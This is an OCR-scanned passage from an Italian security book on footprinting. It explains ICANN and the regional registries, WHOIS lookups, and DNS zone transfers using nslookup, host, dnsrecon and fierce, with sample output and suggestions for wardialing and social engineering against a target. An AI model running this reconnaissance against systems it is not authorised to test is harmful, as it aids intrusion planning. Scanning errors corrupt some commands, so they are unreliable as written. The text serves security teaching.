centralizzato, in realta molte delle funzionalita sottostanti devono essere gestite a livello
centrale per garantire I'interoperabilita, evitare conflitti IP e assicurare la risolvibilita uni-
versale oltre qualsiasi confine geografico e politico. Cio significa che qualcuno gestisce
una grande quantita di informazioni: conoscendo un po’ le modalita con cui avviene
tutto cio, ¢ possibile approfittarne! Internet ha percorso una lunga strada dal suo primo
concepimento. I particolari sulle modalita di gestione delle informazioni, e su chi se ne
occupa, sono anch’essi in continua evoluzione.

Chi gestisce Internet oggi, vi chiederete? Queste funzionalitd centrali di Internet sono
gestite da un’organizzazione non profit, 'PICANN (Internet Corporation for Assigned Names
and Numbers; icann.org).

ICANN ¢ una sorta di corpo di coordinazione tecnica per Internet. Creato nell’ottobre
1998 da un’ampia coalizione di risorse economiche, tecniche, accademiche e comunita di
utenti, 'ICANN ha la responsabilitd di una serie di funzioni tecniche precedentemente
svolte sotto contratto del governo degli Stati Uniti dall'TANA (Internet Assigned Numbers
Authority;iana.org) e da altri gruppi (nella pratica 'TANA gestisce tutt’oggi gran parte delle
attivita quotidiane di Internet, ma alla fine tutto passera sotto responsabilitd dell'ICANN).
Nello specifico, 'ICANN coordina 'assegnazione dei seguenti identificatori che devono
essere unici a livello globale perché Internet possa funzionare:

¢ nomi di dominio Internet;
e indirizzi IP numerici;
o parametri di protocollo e numeri di porta.

Inoltre, 'PICANN coordina I'attivita stabile del sistema di server DINS che sta alla radice
di Internet.

Quale organizzazione non profit privata, 'ICANN si dedica a preservare la stabilitd ope-
rativa di Internet; a promuovere la concorrenza; a ottenere un’ampia rappresentazione
delle comunita di Internet a livello globale; a sviluppare delle politiche tramite mezzi di
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iniziativa privata, basati sul consenso e su iniziative attivate dalla base. CLICANN ¢ aperta
alla partecipazione di qualsiasi utente, impresa o organizzazione interessato.
LICANN comprende molte parti, ma a noi interessano in particolare tre rami:

* ASO (Address Supporting Organization), aso.icann.org
* GNSO (Generic Names Supporting Organization), gnso.icann.org
* CCNSO (Country Code Domain Name Supporting Organization), ccnso.icann.org

P ASO cura e sviluppa raccomandazioni su politiche relative agli indirizzi IP e offre con-
sulenza al consiglio del’ICANN; alloca blocchi di indirizzi IP a vari registri regionali RIR
(Regional Internet Registries) che gestiscono, distribuiscono e registrano risorse numeri-
che Internet pubbliche nelle rispettive regioni. Questi RIR poi allocano gli indirizzi IP
a organizzazioni, ISP (Internet Service Provider) o, in alcuni casi, registri nazionali NIR
(National Internet R egistries) o locali LIR (Local Internet R egistries) qualora dei governi
lo richiedono (ci6 avviene per lo pit in paesi comunisti, regimi dittatoriali e cosl via):

e APNIC (apnic.net) — Asia-Pacifico

* ARIN (arin.net) — America del nord e del sud, Africa subsahariana

* LACNIC (lacnic.net) — Parti dell’America latina e dei Caraibi

* RIPE (ripe.net) — Europa, parti dell’Asia, Africa a nord dell’equatore, medio oriente

* AfriNIC (afrinic.net, attualmente in stato di osservazione) — E destinato a includere
entrambe le aree africane ora gestite da ARIN e RIPE

I GNSO cura e sviluppa raccomandazioni su politiche relative ai nomi di dominio per
tutti 1 domini generici di primo livello (gTLD, generic Top-Level Domain) e offre consu-
lenza al consiglio del’ICANN. Il GNSO non ¢ responsabile della registrazione dei nomi
di dominio, ma ¢ responsabile dei domini generici di primo livello (per esempio .com,
.net, .edu, .org e .info), che si possono trovare presso iana.org/gtld/gtld.htm.

I CCNSO cura e sviluppa raccomandazioni su politiche relative ai nomi di dominio per
tutti 1 domini di primo livello con codice di nazione (ccTLD, country-code Top-Level
Domain) e offre consulenza al consiglio del'TCANN. Anche questa organizzazione non
gestisce la registrazione dei nomi di dominio. L'elenco aggiornato dei domini di primo
livello con codice di nazione ¢ disponibile presso iana.org/cctld/cctld-whois.htm.
Riportiamo altri indirizzi che potrebbero risultare utili:

* iana.org/assignments/ipv4-address-space — allocazione IP v4

* iana.org/assignments/ipv6-address-space — allocazione IP v6

* 1iana.org/ipaddress/ip-addresses.htm — servizi per indirizzi IP

e rfc-editor.org/rfc/rfc3330.txt — indirizzi IP di uso speciale

* iana.org/assignments/port-numbers — numero di porta registrati

* iana.org/assignments/protocol-numbers — numeri di protocollo registrati

Con tutte queste attivita di gestione centralizzata, per trovare una miniera di informazioni
dovrebbe essere sufficiente interrogare un super server centrale, vero? Non ¢ esattamente
cosl. Benché la gestione sia abbastanza centralizzata, 1 dati effettivi sono dispersi in tutto
il pianeta in numerosi server WHOIS, per ragioni tecniche e politiche. A complicare
ulteriormente le cose, la sintassi delle query WHOIS, i tipi di query utilizzabili, 1 dati
disponibili e la formattazione dei risultati possono variare notevolmente da un server
all’altro. Inoltre, molti registrar tendono a limitare I'uso di query per combattere spammer,
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hacker ed evitare il sovraccarico delle risorse. E su tutto cio, le informazioni relative ai
domini .mil e .gov sono state interamente rimosse dal pubblico accesso per motivi di
sicurezza nazionale degli Stati Uniti.

A questo punto potreste chiedervi:*“Come faccio a trovare 1 dati che mi servono?”. Con
alcuni strumenti, le conoscenze necessarie ¢ un po’ di pazienza, dovreste essere in grado
di trovare i dettagli di registrazione per quasi tutte le entita registrate sul pianeta!

Ricerche relative ai domini

E importante notare che 1 dati relativi ai domini (come hackingexposed. com) sono registrati
separatamente da quelli relativi all'IP (come blocchi di rete IP, numeri di sistemi autonomi
BGP e cosi via). Per questo motivo, utilizziamo due strade diverse per trovarli. Iniziamo
con 1 dati relativi ai domini, utilizzando come esempio keyhole.com.

II primo passo ¢ quello di determinare quale dei molti server WHOIS contiene le infor-
mazioni che cerchiamo. Il procedimento generale ¢ il seguente: il Registry per un dato
TLD,“.com”in questo caso, contiene informazioni sul Registrar con cui I’entita bersaglio
ha registrato il proprio dominio. Quindi si interroga il R egistrar appropriato per trovare il
Registrant corrispondente al particolare nome di dominio a cui si ¢ interessati. Per como-
dita indicheremo tutto cio con le “tre R del of WHOIS: R egistry, R egistrar e Registrant.
Molti siti Internet consentono di ottenere dati WHOIS, ma ¢ importante capire come
trovare le informazioni da soli, per 1 casi in cui gli strumenti automatici non funzionano.
Poiché 1 dati WHOIS si basano su una struttura gerarchica, il punto di partenza migliore
¢ la radice dell’albero: TICANN. Come abbiamo detto in precedenza, FICANN (IANA)
¢ Pautorita di registrazione (registry) per tutti 1 TLD e costituisce un ottimo punto di
partenza per tutte le query WHOIS manuali.

NOTA

Potete effettuare ricerche WHOIS da qualsiasi client WHOIS a riga di comando (& richiesto
un accesso TCP/43 in uscita) o tramite i soliti browser web. Secondo la nostra esperienza,
I'uso del browser web & solitamente piu intuitivo ed & quasi sempre consentito dalle
principali architetture di sicurezza.

Collegandosi a whois.iana.org ¢ possibile cercare il registry per tutti i domini .com. Questa
ricerca (Figura 1.13) mostra che il registry per .com & Verisign Global Registry Services
presso verisign-grs.com. Collegandosi a quel sito e facendo clic sul collegamento Whois
sulla destra, si raggiunge la paginaVerisign Whois Search, dove ¢ possibile cercare keyhole.
com e trovare che questo nome di dominio € stato registrato tramite www.markmonitor.com.
Collegandosi al sito indicato e cercando nel campo “Search Whois” (Figura 1.14) si puo
interrogare il server WHOIS di questo registrar tramite la corrispondente interfaccia web
per trovare i dettagli di registrazione per keyhole.com — ed ecco fatto!

I dettagli di registrazione forniscono indirizzi fisici, numeri di telefono, nomi, indirizzi
e-mail, nomi di server DNS, IP e cosi via. Se si segue questa procedura con cura, non
dovrebbe risultare difficile trovare i dati di registrazione per qualsiasi nome di dominio
(pubblico) al mondo. Ricordate comunque che alcuni domini come .gov e .mil potreb-
bero non essere accessibili al pubblico tramite WHOIS.
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@) IANA — WHOIS Service
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Internet Assigned Numbers Authority DOMAINS NUMBERS PROTOCOLS ABOUTIANA

IANA WHOIS Service

The IANA WHOIS Service is provided using the WHOIS protocol on port 43. This web gateway will query this server and return the results. Accepted query
arguments are domain names, IP addresses and AS numbers.

m

com Submit

% IANA WHOIS server
% for more information on IANA, visit http://www_iana_org
% This query returned 1 object

domain: COM

organisation: VeriSign Global Registry Services

address: 12061 Bluemont Way

address: Reston Virginia 20199

address: United States

contact administrative

name: Registry Customer Service
organisation: VeriSign Global Registry Services
address: 12061 Bluemont Way

address: Reston Virginia 20199

address: United States

phone: +1 703 925-6999

fax-no: +1 763 948 3978

e-mail: infoGverisign-grs.com

contact: technical

name: Registry Customer Service
organisation: VeriSign Global Registry Services
address: 12061 Bluemont Way =

Figura 1.13 Iniziamo la ricerca del dominio da whois.iana.org.

Per completezza dobbiamo dire che le stesse ricerche si sarebbero potute effettuare anche
tramite 1l client WHOIS a riga di comando con 1 tre comandi seguenti:

[bash]$ whois com -h whois.iana.org
[bash]$ whois keyhole.com -h whois.verisign-grs.com
[bash]$ whois keyhole.com -h whois.omnis.com

Diversi siti web tentano di automatizzare questa procedura, con gradi di successo differenti:
* www.allwhois.com
* www.uwhois.com
* internic.net/whois.html

E in ultimo, ma non per importanza, sono disponibili diverse GUI che facilitano le ricerche:
* SuperScan — mcafee.com/us/downloads/free-tools/superscan.aspx
* NetScan Tools Pro — netscantools. com

Una volta individuato il server WHOIS corretto per il bersaglio, talvolta si ha la possibilita
di eseguire altre ricerche, se il registrar lo consente, e cosi trovare, per esempio, tutti 1 domini
ospitati da un particolare server DNS, oppure tutti 1 nomi di dominio che contengono
una certa stringa. Oggi si tende sempre piu a disabilitare la possibilita di svolgere questi
tipi di ricerche nei server WHOIS, ma vale la pena di provare per verificare che cosa
permette di fare il registrar: potrebbe essere quello che fa al caso proprio.
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[ MarkMonitor

€ | @ MarkMonitor Inc, (US) | https://www.markmonitor.com/cgi-bin/affsearch.cgi?dn=keyhole.com&partner=yes&returr 77 v C | [~ Google Al & B~
Domain Availability Check 1=l
WITH WHOIS OUTPUT
[_<<Print>> |
MarkMonitor is the Global Leader in Online Brand Protection.
Domain Management
MarkMonitor Brand Protectiond,¢
MarkMonitor AntiPiracvéd.<
MarkMonitor AntiFraudi.¢
Professional and Managed Services
Visit MarkMonitor at wwwWw.markmonitor.com
Contact us at 1 (800) 745-9229 g
In Eurcpe, at +44 (0) 203 206 2220
The Data in MarkMonitor.com's WHOIS database is provided by MarkMonitor.com
for information purposes, and to assist persons in cbtaining information
about or related to a domain name registration record. MarkMonitor.com
does not guarantee its accuracy. By submitting a WECIS query, you agree
that you will use this Data only for lawful purposes and that, under no
circumstances will you use this Data ta: (1} allow, enable, or otherwise
support the transmission of mass unsolicited, commercial advertising or
solicitations via e-mail (spam); or (2) enable high volume, automated,
electronic processes that apply to MarkMonitor.com (or its systems).
MarkMonitor.com reserves the right to modify these terms at any time.
By submitting this query, you agree to abide by this policy.
Registrant:
DN5S Admin
Google Inc.
1600 Amphitheatre Parkway
Mountain View CA 94043
us
dns-admin@google.com +1.6502530000 Fax: +1.6506188571
Domain Name: keyhole.com
Registrar Name: Markmoniteor.com
Registrar Whois: whois.markmonitor.com
Registrar Homepage: hoep://www.markmonitor.com
Administrative Contact:
DNS Admin
Google Inc.
1600 Amphitheatre Parkway
Mountain View CA 94043
us
dns-admin@google.com +1.6502530000 Fax: +1.6506188571
Technical Contact, Zone Contact:
DNS Admin -

Figura 1.14 Troviamo i dati di registrazione per keyhole.com presso il sito del registrar.

Ricerche relative all'lP

Finora abbiamo visto le ricerche relative ai domini, ma per i dati relativi all'IP? Come
abbiamo spiegato in precedenza, i dati relativi all'IP sono gestiti dai vari RIR sotto la
supervisione del’ASO dellTICANN. Vediamo come si procede per ottenere queste in-
formazioni.

I server WHOIS presso 'PICANN (IANA) attualmente non opera come registry per tutti
i RIR come nel caso dei TLD, ma ciascun RIR conosce gli intervalli di indirizzi [P che
gestisce, percio basta scegliere un RIR e cercare. Se si sceglie quello sbagliato, rispondera
indicando a quale altro RIR occorre rivolgersi.

Supponiamo che, nell’esaminare attentamente i log di sicurezza (siamo certi che lo fate
con religiosa attenzione, vero?) incontriate una voce interessante con indirizzo IP di
origine 61.0.0.2. Iniziate inserendo questo indirizzo IP nella casella di ricerca WHOIS
presso arin.net (Figura 1.15), cosi venite a sapere che I'intervallo di IP corrispondente ¢
gestito attualmente dall’ APNIC.Vi collegate quindi al sito dell’ APNIC presso apnic.net
per continuare la ricerca (Figura 1.16) e cosi scoprite che questo indirizzo IP ¢ attualmente
gestito da una societa di telecomunicazioni indiana.
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SEARCH WHOISRWS @

advanced search

| »

| NUMBER RESOURCES | PARTICIPATE POLICIES FEES & INVOICES KNOWLEDGE | ABOUT US

| ARIN Online WHOIS-RWS
enter
J

NetRange £41.0.0.0 - §1.255.265.255 + ARIN WholstWhois-RWS
Terms of Service

> Whois-RWS API

MName APNIC3 documentation

> ARIN Technical

CIDR 61.0.0.0/3

Handle NET-61-0-0-0-1 ST chnical :
Discussion Mailing List [
Farent > Sample shleshest (xel)
Net Type Allocated to APNIC
Origin A3
Organization Asia Pacific Network Information Centre (APNIC)

Registration Date ~ 1997-04-25
Last Updated 20710-07-30

Comments This IP address range is not registered in the ARIN database
For details, refer to the APNIC Whois Database via
WHOIS. APNIC. NET or hitp:ifwg.apnic.net/apnic-binfwhois.pl
** |MPORTANT NOTE: APNIC is the Regional Internet Registry
for the Asia Pacific region. APNIC does not operate networks
using this IP address range and is not able to investigate
spam or abuse reports relating to these addresses. For more
help, refer to http:/Mwww.apnic.nevapnic-infoiwhois_search2/abuse-and-spamming

BESRll ok fdpI1iis it eatn eTRIET 810,001
See Also Related organization's POC records.
See Also Related delegations.

Figura 1.15 ARIN indica quale RIR utilizzare per la ricerca.

Questa procedura puo essere seguita per tracciare qualsiasi indirizzo IP al fine di ricondurlo
al suo proprietario, o almeno a un punto di contatto che potrebbe essere disponibile a
fornire 1 dettagli rimanenti. Come sempre, la cooperazione ¢ quasi sempre attuata su base
interamente volontaria e varia da un’impresa all’altra e da un governo all’altro. Tenete
sempre presente che un hacker dispone di diversi metodi per mascherare il proprio IP
reale. Oggigiorno ¢ piu probabile rilevare un indirizzo IP illegittimo di uno autentico.
Percio, 'IP che appare in un log potrebbe essere fittizio e quasi impossibile da tracciare.
Talvolta si trovano intervalli IP e numero di sistemi autonomi BGP attribuiti a un’orga-
nizzazione cercando nei server WHOIS del RIR il nome completo dell’organizzazione
in questione. Per esempio, se si cerca “Google” presso arin.net, si vedono gli intervalli di
IP assegnati a Google e il numero di AS, come AS15169 (Figura 1.17).

La Tabella 1.2 mostra vari strumenti disponibili per effettuare ricerche WHOIS.

Il contatto amministrativo ¢ un dato importante, perché indica il nome della persona
responsabile della connessione a Internet o del firewall. La nostra query restituisce anche
i numeri di telefono e di fax, estremamente utili quando si controllano le possibilita di
penetrare nel sistema tramite collegamenti via modem.
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@ APNIC - Query the APNIC Whois Database|
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APNIC - Query the APNIC Whois Database

To assist you with debugging problems, this whois query was received from IP Address
[94.36.214.101]
Your web client may be behind a web proxy.

m

I % APNIC found the following authoritative answer from: whois.apnic.net

| % [whois.apnic.net node-%]

% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html L
inetnum: 61.0.0.0 - 61.0.255.255

netname: BSNL-NIB1

descr: NIB-1 Infrastcructure & Dialup IP pool, O/o DGM BB, BSNL NOIDA
country: hag

admin-c: BH155-AP

tech-c: DB374-AP

status: ASSIGNED NON-PORTABLE

mnt-by: MAINT-IN-DOT

mnt-ire: IRT-BSNL-IN

changed: hostmasterfbsnl.in 20110917

source: APNIC

route: 61.0.0.0/24

descr: BSNL Internet

origin: asge2g

mnt-by: MAINT-IN-DOT

changed: dnwplg@sancharnet.in 20100630

source: APNIC

person: BSNL Hostmaster

nic-hdl: BH155-AP

e-mail: hostmaster@sancharnet.in

address: Broadband Networks

address: Bharat Sanchar Nigam Limited

address: 2nd Floor, Telephone Exchange, Sector 62

address: Noida -

Figura 1.16 Lindirizzo IP risulta assegnato a una societa di telecomunicazioni indiana.

Tabella 1.2 Tecniche di ricerca WHOIS e fonti utilizzabili.

Meccanismo Risorse Piattaforma

Interfaccia web whois.iana.org Qualsiasi piattaforma per cui
arin.net sia disponibile un client web
allwhois.com

Client whois whois ¢ fornito con la maggior parte ~ UNIX/Linux
delle versioni di UNIX/Linux

NetScan Tools netscantools.com/nstpromain.html Windows XP/7/Vista/2003/2008

Jwhois gnu.org/software/jwhois/jwhois.html UNIX/Linux

Basta utilizzare un wardialer per gli intervalli di numerazione indicati e si ottiene un buon
punto di partenza per individuare potenziali numeri di telefono assegnati a modem. Inol-
tre, un hacker spesso assume le veci del contatto amministrativo utilizzando tecniche di
ingegneria sociale su utenti dell’organizzazione bersaglio; per esempio, potrebbe inviare
agli utenti dei messaggi email fingendo di essere il contatto amministrativo. E davvero
sorprendente rilevare quanti utenti cambiano le loro password seguendo le indicazioni
fornite, se credono che la richiesta di modifica provenga da una persona fidata del sup-
porto tecnico.

Le date di creazione e modifica del record indicano I'accuratezza delle informazioni. Se il
record ¢ stato creato cinque anni fa, ma non ¢ mai stato aggiornato da allora, ¢ probabile
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GOOGLE (NET-209-85-128-0-1)
GOOGLE (NET-216-239-32-0-1)
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Figura 1.17 Quivediamo gliintervalli di IP e il numero di AS BGP attribuiti a Google.

che alcune delle informazioni corrispondenti (per esempio il contatto amministrativo)
siano obsolete.

Lultimo dato fornisce i server DNS autoritativi, che sono le fonti di record per la ricerca
di nomi relativi al dominio o all’IP. Il primo in elenco ¢ il server DNS primario, seguono
il secondario, terziario e cosl via. Queste informazioni sono utili per le interrogazioni
DNS, discusse piu avanti in questo capitolo. Inoltre, si puo provare a utilizzare gli intervalli
di rete elencati come punti di partenza per interrogare il database ARIN.

Q Altre contromisure per la sicurezza dei database pubblici

Gran parte delle informazioni contenute nei vari database discussi finora sono destinate a
essere rese accessibili al pubblico. Contatti amministrativi, blocchi di rete registrati e server
DNS autoritativi servono quando un’organizzazione registra un dominio su Internet.
Tuttavia, si dovrebbero tenere presenti gli aspetti di sicurezza per ostacolare il compito
degli hacker.

In molti casi, quando un contatto amministrativo abbandona un’organizzazione, mantiene
la possibilita di modificare i dati di dominio relativi. Percio, occorre innanzitutto assicurarsi
che le informazioni contenute nel database siano corrette. I dati di contatto amministrativo,
tecnico e di fatturazione vanno aggiornati non appena sono modificati. Il modo migliore
per gestire questo aspetto ¢ quello di impostare dei messaggi di avvertimento insieme ai
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fornitori dei nomi di dominio come Verisign. Consideriamo i numeri di telefono e gli
indirizzi fisici: possono essere utilizzati come punti di partenza per un attacco di tipo dial-
in o basati su tecniche di ingegneria sociale; si potrebbe indicare un numero verde, o un
numero che non ¢ collegato a sistemi informatici dell’organizzazione. Inoltre, abbiamo
visto molte organizzazioni elencare un contatto amministrativo fittizio, con 1’obiettivo
di sviare potenziali attacchi di ingegneria sociale: se un dipendente riceve un’e-mail o
una telefonata da una persona che assume l'identita del contatto fittizio, pud informare
il reparto di sicurezza che potrebbe essere in corso un attacco.

Il miglior consiglio ¢ quello di utilizzare le funzionalita di anonimato offerte dal provider
del dominio. Per esempio Network Solutions e Godaddy oftrono funzioni di registrazione
privata: si paga una somma aggiuntiva di circa 9 dollari 'anno, oltre al costo del dominio,
per fare in modo che i dati effettivi di indirizzo fisico, numero di telefono, e-mail e cosi via
non siano elencati. Questo ¢ il miglior modo di assicurarsi che 1 dati sensibili sui contatti
della propria organizzazione non siano diffusi su Internet.

Un altro rischio della registrazione del dominio riguarda le modalita con cui alcuni regi-
strar consentono di effettuare aggiornamenti. Per esempio, nel momento in cui scriviamo
Network Solutions consente la modifica automatica delle informazioni del dominio. 11
provider autentica 'identita del registrant tramite il metodo Guardian, che utilizza tre
diversi tipi di metodi di autenticazione: il campo FROM di un’email, una password e
una chiave PGP (Pretty Good Privacy). Il metodo piu debole ¢ quello del campo FROM
dell’e-mail: ¢ sufficiente che qualcuno falsifichi un indirizzo email e cambi le informazioni
associate al dominio, una tecnica nota come hijacking del dominio. Questo ¢ esattamente
16 che accadde ad AOL 1l 16 ottobre 1998, secondo la cronaca del Washington Post.
Qualcuno assunse le vesti di un responsabile di AOL e cambio 1 dati del dominio di AOL
in modo che tutto il traffico fosse reindirizzato su autonete.net.

AOL mire rimedio rapidamente all’incidente, che tuttavia rimane a testimoniare la debo-
lezza della presenza su Internet di un’organizzazione. E importante scegliere la soluzione
piu sicura disponibile, quale autenticazione tramite password o chiave PGP, per modificare
i dati di dominio. Inoltre, il contatto amministrativo o tecnico deve stabilire il meccanismo
di autenticazione tramite il modulo di contatto fornito da Network Solutions.

Passo 5: interrogazione del DNS

Una volta identificati tutti 1 domini associati al bersaglio, si puo iniziare a interrogare il
DNS. Quest’ultimo ¢ un database distribuito utilizzato per associare indirizzi IP a nomi
di host e vice versa. Se il DNS ¢ configurato con un basso livello di sicurezza, potrebbe
essere possibile ricavarne informazioni importanti sul bersaglio.

\lé

"> Trasferimenti di zona

Popolarita: 7
Semplicita: 7
Impatto: 3
Grado di rischio: 6

Uno dei piu seri problemi di configurazione che un amministratore di sistema pud com-
mettere ¢ quello di consentire a utenti Internet non fidati di eseguire un trasterimento di
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zona DNS. Questa tecnica ¢ ormai divenuta quasi obsoleta, ma la descriviamo comunque
per tre ragioni:

1. questa vulnerabilitd consente di raccogliere importanti informazioni su un bersaglio;
2. offre spesso il trampolino di lancio per attacchi che altrimenti non sarebbero eftettuati;

3. che lo si creda o no, si possono trovare ancora molti server DNS che consentono
ancora di utilizzarla.

Un trasterimento di zona consente a un server master secondario di aggiornare il pro-
prio database di zona dal master primario. Questo fornisce ridondanza nella gestione del
DNS, per 1 casi in cui il server primario non ¢ disponibile. In generale, un trasterimento
di zona DNS deve essere eseguito soltanto da server DNS master secondari. Molti server
DN, tuttavia, sono configurati male e forniscono una copia della zona a chiunque la
richieda. Questo non ¢ necessariamente un problema, se 1 dati forniti sono soltanto quelli
relativi a sistemi connessi a Internet e con nomi di host validi, anche se facilita il compi-
to di individuare potenziali bersagli per gli hacker. Il problema vero si presenta quando
un’organizzazione non utilizza un meccanismo DINS pubblico/privato per separare 1 dati
DNS esterni (che sono pubblici) da quelli interni, privati. In questo caso, ’hacker pud
accedere a nomi di host e indirizzi IP interni. Fornire indirizzi IP interni a un utente
non fidato su Internet ¢ come fornire una pianta completa e dettagliata della rete interna
di un’organizzazione.

Esaminiamo diversi metodi utilizzabili per eseguire trasterimenti di zona e 1 tipi di infor-
mazioni che possiamo catturare. Benché siano disponibili molti strumenti per effettuare
trasferimenti di zona, ci limitiamo a trattare alcuni tipi comuni.

Un modo semplice per eseguire un trasferimento di zona ¢ quello di utilizzare il client
nslookup fornito generalmente con la maggior parte delle implementazioni di UNIX e
Windows. Si puo utilizzare nslookup in modalita interattiva, come segue:

[bash]$ nslookup

Default Server: nsi.example.com
Address: 10.10.20.2

> 192.168.1.1

Server: nsi.example.com

Address: 10.10.20.2

Name: gate.example.com

Address: 192.168.1.1

> set type=any

> 1s -d example.com. >\> /tmp/zone_out

Innanzitutto eseguiamo nslookup in modalita interattiva. All’avvio, lo strumento ci indica
il server DINS di default che sta utilizzando, normalmente il server DNS della nostra or-
ganizzazione, o uno fornito da un ISP. Tuttavia, il nostro server DNS (10.10.20.2) non ¢
autoritativo per il dominio bersaglio, percio non conterra tutti i record DNS che stiamo
cercando. Dobbiamo quindi indicare manualmente a nslookup quale server DNS inter-
rogare. Nel nostro esempio vogliamo utilizzare il server DNS primario per il dominio
example.com (192.168.1.1).

Ora impostiamo come tipo di record any, cosi possiamo lavorare su qualsiasi record DNS
disponibile (man nslookup) per ottenere un elenco completo.

Infine utilizziamo 1'opzione 1s per elencare tutti 1 record associati al dominio. Lopzione
-d serve a elencare tutti 1 record del dominio. Aggiungiamo un punto (.) al termine per
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indicare il nome di dominio interamente qualificato (nella maggior parte dei casi non
¢ necessario). Inoltre, reindirizziamo 'output sul file /tmp/zone_out in modo da poterlo
manipolare con comodo in un secondo tempo.

Una volta completato il trasferimento di zona, possiamo visualizzare il file per verificare se
contiene informazioni interessanti che ci consentiranno di individuare bersagli specifici.
Esaminiamo un output simulato ottenuto per esempio.com:

bash]$ more zone_out

accti8 ID IN A 192.168.230.3

ID IN HINFO "Gateway2000" "WinWKGRPS"

ID IN MX 0 exampleadmin-smtp

ID IN RP bsmith.rci bsmith.who

ID IN TXT "Location:Telephone Room"
ce ID IN CNAME aesop
au IDINA 192.168.230.4

ID IN HINFO "Aspect" "MS-DOS"

ID IN MX 0 andromeda

ID IN RP jcoy.erebus jcoy.who

ID IN TXT "Location: Library"
acct2z1 ID IN A 192.168.230.5

ID IN HINFO "Gateway2000" "WinWKGRPS"

ID IN MX 0 exampleadmin-smtp

ID IN RP bsmith.rci bsmith.who

ID IN TXT "Location:Accounting”

Non esaminiamo in dettaglio ogni singolo record, ma evidenziamo alcuni tipi impor-
tanti.Vediamo che per ogni voce ¢’¢ un record “A” che indica I'indirizzo IP del nome di
sistema riportato a destra. Inoltre, per ogni host ¢’¢ un record HINFO che individua la
piattaforma o il tipo di sistema operativo in esecuzione (cfr. RFC 952).1 record HINFO
non sono necessari, ma forniscono molte informazioni agli hacker. Poiché abbiamo salvato
i risultati del trasferimento di zona in un file di output, possiamo manipolarli facilmente
con programmi UNIX come grep, sed, awk o perl.

Supponiamo di essere esperti in sistemi SunOS/Solaris. Potremmo utilizzare un programma
per trovare gli indirizzi IP che hanno un record HINFO associato a Sparc, SunOS o Solaris:

[bash]$ grep -i solaris zone_out |wc -1
388

Abbiamo 388 record potenziali con la parola “Solaris”. Ovviamente, abbiamo parecchi
bersagli.

Supponiamo di voler trovare dei sistemi di test, spesso 1 preferiti dagli hacker perché
normalmente non hanno molte funzioni di sicurezza attive, utilizzano password facili da
indovinare, e tendono a essere trascurati dagli amministratori che non si curano di chi
vi accede. Sono perfetti per chi vuole intrufolarsi nella rete. Possiamo cercare 1 sistemi di
test nel modo seguente:

[bash]$ grep -I test /tmp/zone_out |wc -1
96

Dunque nel file di zona abbiamo circa 96 voci contenenti la parola “test”, che dovrebbero
corrispondere ad altrettanti sistemi di test (0 almeno a un buon numero). Questi sono
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solo alcuni esempi; la maggior parte degli intrusi ¢ in grado di vagliare con attenzione
tutti questi dati su specifici tipi di sistemi con vulnerabilita note.

Occorre tenere ben presenti alcuni punti. In primo luogo, il metodo precedentemente
citato interroga un solo nameserver per volta. Cio significa che occorre svolgere la stessa
procedura per tutti i nameserver autoritativi per il dominio bersaglio. Inoltre, abbiamo
interrogato soltanto il dominio example.com. Se vi fossero dei sottodomini, avremmo
dovuto eseguire lo stesso tipo di query per ciascuno di essi (per esempio, greenhouse.
example.com). Infine, talvolta appare un messaggio che afferma che non ¢ possibile elencare
il dominio, o che la query é stata rifiutata; questo solitamente indica che il server ¢ stato
configurato in modo da non consentire i trasferimenti di zona a utenti non autorizzati,
percid non si potranno effettuare trasferimenti di zona da tale server. Tuttavia, se vi sono
piu server DNS; si potrebbe trovarne uno che consenta tali trasferimenti.

Dopo aver mostrato il metodo manuale, ¢ utile ricordare che esistono molti strumenti in
grado di velocizzare la procedura, come host, Sam Spade, axfr e dig.

Il comando host ¢ fornito con molte versioni di UNIX e lo si puo utilizzare cosi:

host -1 example.com
e:
host -1 -v -t any example.com

Se vi servono soltanto gli indirizzi IP da inviare a uno script della shell, potete semplice-
mente eliminare gli indirizzi IP dal comando host:

host -1 example.com |cut -f 4 -d"" "" >\> /tmp/ip_out

Non tutte le operazioni di footprinting richiedono comandi UNIX. Molti prodotti
Windows, come Sam Spade, forniscono le stesse informazioni.

Il comando UNIX dig ¢ uno dei favoriti degli amministratori di DNS ed ¢ spesso utilizzato
per risolvere 1 problemi delle architetture DINS; puo anche eseguire le varie interrogazioni
DN citate qui. Non c’¢ spazio per elencare tutte le opzioni della riga di comando, ma
la man page spiega tutti i dettagli.

Infine, potete utilizzare uno dei migliori strumenti per eseguire trasferimenti di zona:
dnsrecon (github.com/darkoperator/dnsrecon) di Carlos Perez. Questa utility trasferisce
informazioni di zona in modo ricorsivo. Per eseguire dnsrecon, si procede come segue:

bash]$ python dnsrecon.py -x -d internaldomain.com
*] Performing General Enumeration of Domain: internaldomain.com
-] Wildcard resolution is enabled on this domain

-] It is resolving to 10.10.10.5

] A1l queries will resolve to this address!!

] Checking for Zone Transfer for internaldomain.com name servers
] Trying NS server 10.10.10.1

] Zone Transfer was successful!!

[
[
[
[
[
[
[
[

Sfortunatamente, la maggior parte dei server DNS che troverete sulla vostra strada ¢
configurata in modo da non consentire trasferimenti di zona da alcun indirizzo IP client.
Esistono tuttavia altre tecniche per enumerare le voci DNS in un dominio. Script di-
sponibili liberamente, quali dnsenum, dnsmap, dnsrecon e fierce, non solo verificano 1
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trasferimenti di zona, ma sono anche in grado di sfruttare ricerche DNS inverse, WHOIS,
ARIN e metodi di forza bruta. Per esempio, si puo utilizzare fierce 2.0 (trac.assembla.
com/fierce), riscritto da Joshua “Jabra” Abraham, per enumerare le voci DNS anche se i
tentativi di trasferimento di zona falliscono.

bts ~ # ./fierce -dns internallabdomain.com
Fierce 2.0-r412 ( http://trac.assembla.com/fierce )

Starting Fierce Scan at Sun Dec 25 18:19:37 2011
Scanning domain internallabdomain.com at Sun Dec 25 18:19:37 2011 ...

internallabdomain.com - 10.10.10.5

Nameservers for internallabdomain.com:
nsi.internallabdomain.com 10.10.9.1
ns2. internallabdomain.com 10.10.9.2

ARIN lookup "internallabdomain:

Zone Transfer:

nsi.internallabdomain.com Failed
ns2.internallabdomain.com Failed
Wildcards:

Prefix Bruteforce:

Found Node! (10.10.10.5 / 0.internallabdomain.com)

based on a search of: 0. internallabdomain.com.

Found Node! (10.10.10.11 / av.internallabdomain.com)
based on a search of: av.internallabdomain.com.

Found Node! (10.10.10.6 / webmail.internallabdomain.com)
based on a search of: autodiscover.internallabdomain.com.
Found Node! (10.10.10.25 / dev.internallabdomain.com)
based on a search of: dev. internallabdomain.com.

Found Node! (10.10.10.17 / tx.internallabdomain.com)
based on a search of: tx.internallabdomain.com.

Found Node! (10.10.10.1 / vpn.internallabdomain.com)
